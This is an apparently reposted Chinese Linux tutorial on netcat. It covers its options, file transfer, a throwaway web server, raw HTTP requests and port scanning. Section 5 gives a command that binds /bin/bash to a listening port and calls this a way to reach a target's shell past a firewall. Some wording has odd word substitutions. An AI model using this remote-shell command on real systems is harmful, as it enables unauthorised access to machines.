《LINUX教學(xué):Linux網(wǎng)絡(luò)利器netcat/nc》要點:
本文介紹了LINUX教學(xué):Linux網(wǎng)絡(luò)利器netcat/nc,希望對您有用。如果有疑問,可以聯(lián)系我們。
netcat或者是nc工具被稱為網(wǎng)絡(luò)上的瑞士軍刀,因此netcat也有各個版本出現(xiàn)在各個系統(tǒng)中,而在CentOS 7 開始netcat也被整合到namp項目中.當(dāng)然如果是開源系統(tǒng)中,如Ubuntu或Linux系統(tǒng)中則可以通過apt或yum來進(jìn)行安裝,在DOS系統(tǒng)下可以通過下載nc for windows獲取到二進(jìn)制版的netcat.因為netcat工具實際上可以通過tcp、udp或者是socket等等的方式在兩臺主機(jī)之間建立鏈接,然后通過鏈接讀取數(shù)據(jù)流,而在接收傳輸數(shù)據(jù)流的過程中可以任意發(fā)揮你的想象,因此它的功能十分強(qiáng)大,在這里就簡單的介紹闡明一下.
? 先說明下nc中比較常用的參數(shù)說明:
-4 : 強(qiáng)制nc使用ipv4
-6 : 強(qiáng)制nc使用ipv6
-D : 使用socket的方式
-d : daemon(后臺)運行,就可以配置成服務(wù)
-l : 監(jiān)聽模式,如果沒有特別指定后面常常隱式使用-p參數(shù)
-n : 使用ip的,而不使用域名
-p : 使用當(dāng)?shù)刂鳈C(jī)的端口,默認(rèn)是tcp協(xié)議的端口
-r : 任意指定當(dāng)?shù)丶斑h(yuǎn)程端口
-s : 設(shè)置當(dāng)?shù)刂鳈C(jī)送出數(shù)據(jù)包的IP地址,主機(jī)上有多個IP時指定綁定的IP
-U : 使用Unix的socket
-u : 使用udp協(xié)議
-v : 詳細(xì)輸出
-z : 將輸入輸出關(guān)掉,即不進(jìn)行交互,用于掃描時,注意在nmap的版本下沒有這個參數(shù)
-w : 設(shè)置連接超時時間,單位秒
使用也很簡單,可以通過簡單的測試下:
? ? 1、測試2臺主機(jī)數(shù)據(jù)流是否能通信(模擬Clint/Server模型)
host A(192.168.2.200):
[root@localhost ~]# nc -lp 1234#注意防火墻上必要開啟相應(yīng)的監(jiān)聽端口
host B(192.168.2.203):
[root@localhost ~]# nc 192.168.2.200 1234
此時如果hostB能連通hostA的tcp 1234端口時,在host A上的輸出任何信息都邑通過nc傳送至host B上.
? ? 2、數(shù)據(jù)傳輸
host A:
[root@localhost ~]# ls -l
總用量 4
-rw------- 1 root root 1150 8月? 9 00:54 file
[root@localhost ~]# nc -l 1234 < file
host B:
[root@localhost ~]# ls -l
總用量 0
[root@localhost ~]# nc 192.168.2.200 1234 > file
[root@localhost ~]# ls -l
總用量 4
-rw-r--r--. 1 root root 1150 9月? 10 19:29 file
同理還可以使用tar命令傳送數(shù)據(jù)流的形式壓縮傳遞文件,以節(jié)儉帶寬
host A:
[root@localhost ~]# du -sh ./*
46M? ? ./data
[root@localhost ~]# tar -cjf - data | nc -l 1234
host B:
[root@localhost ~]# ls -l
總用量 0
[root@localhost ~]# nc 192.168.2.200 1234 | tar -jxf -
[root@localhost ~]# ls -l
總用量 4
drwxr-xr-x. 9 root root 4096 9月? 10 19:57 data
當(dāng)然應(yīng)用這個特性還可以用nc模擬web服務(wù)器提供靜態(tài)頁面(應(yīng)用nc搭建臨時web服務(wù)器):
host A:
[root@localhost ~]# vim test.html
123
[root@localhost ~]# vim nc_web.sh
#!/bin/bash
while true; do
? ? nc -l 80 < test.html;
done
[root@localhost ~]# chmod +x nc_web.sh && ./nc_web.sh
host B:
[root@localhost ~]# curl 192.168.2.200
123
當(dāng)然利用nc的特性,在此功能上還能衍生出其他的很多功能,如:備份、設(shè)備克隆,網(wǎng)絡(luò)測速,下載、壓測等等,在此就紛歧一介紹了.
? ? 3、給服務(wù)器發(fā)送消息
如給一個網(wǎng)址發(fā)送一個http的地址頭:
[root@localhost ~]# echo -n "GET / HTTP/1.0\\r\\n\\r\\n" | nc www.baidu.com 80 -v
Connection to www.baidu.com 80 port [tcp/http] succeeded!
同理應(yīng)用這個特性也可以使用nc給SMTP服務(wù)器發(fā)消息用來發(fā)郵件等等.
? ? 4、端口探測
在這里nc的功效比telnet好用多了,默認(rèn)是tcp端口:
[root@localhost test]# nc -zvn 192.168.2.203 22
nc: connect to 192.168.2.203 port 22 (tcp) failed: Connection refused
udp端口:
[root@localhost ~]# nc -zvun 192.168.2.200 1234
某一端口段:
1 [root@localhost ~]# nc -zvn 192.168.2.200 1-1024
? ? 5、shell/cmd反彈:
host A:
[root@localhost ~]# nc -l -p 1234 -t -e /bin/bash
-t:telnet的方式
host B:
[root@localhost ~]# nc 192.168.2.200 1234
ls /?
1
app
bin
boot
data
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
該辦法可以繞過防火墻,對目標(biāo)機(jī)shell連接,同理用nc實現(xiàn)端口轉(zhuǎn)發(fā)也是利用該原理.
? ? 6、自定義http的頭來拜訪頁面
這里建議用www.try2hack.nl網(wǎng)站去測試,在其中一些信息可以誰便填
12345 [root@localhost ~]# nc www.try2hack.nl 80
GET / HTTP/1.1
Host: baidu.com
Referrer: Mozilla/5.0
User-Agent: my-browser
在2次回車后就把別人的整個http頭和相關(guān)靜態(tài)頁面都獲取下來.
? 總之netcat/nc是一個十分實用且的刁悍的工具,發(fā)揮你的想象靈活多變它可以實現(xiàn)你很多功能,在這里就不全部一一介紹了.
本文永遠(yuǎn)更新鏈接地址:
更多LINUX教程,盡在維易PHP學(xué)院專欄。歡迎交流《LINUX教學(xué):Linux網(wǎng)絡(luò)利器netcat/nc》!
轉(zhuǎn)載請注明本頁網(wǎng)址:
http://www.fzlkiss.com/jiaocheng/7033.html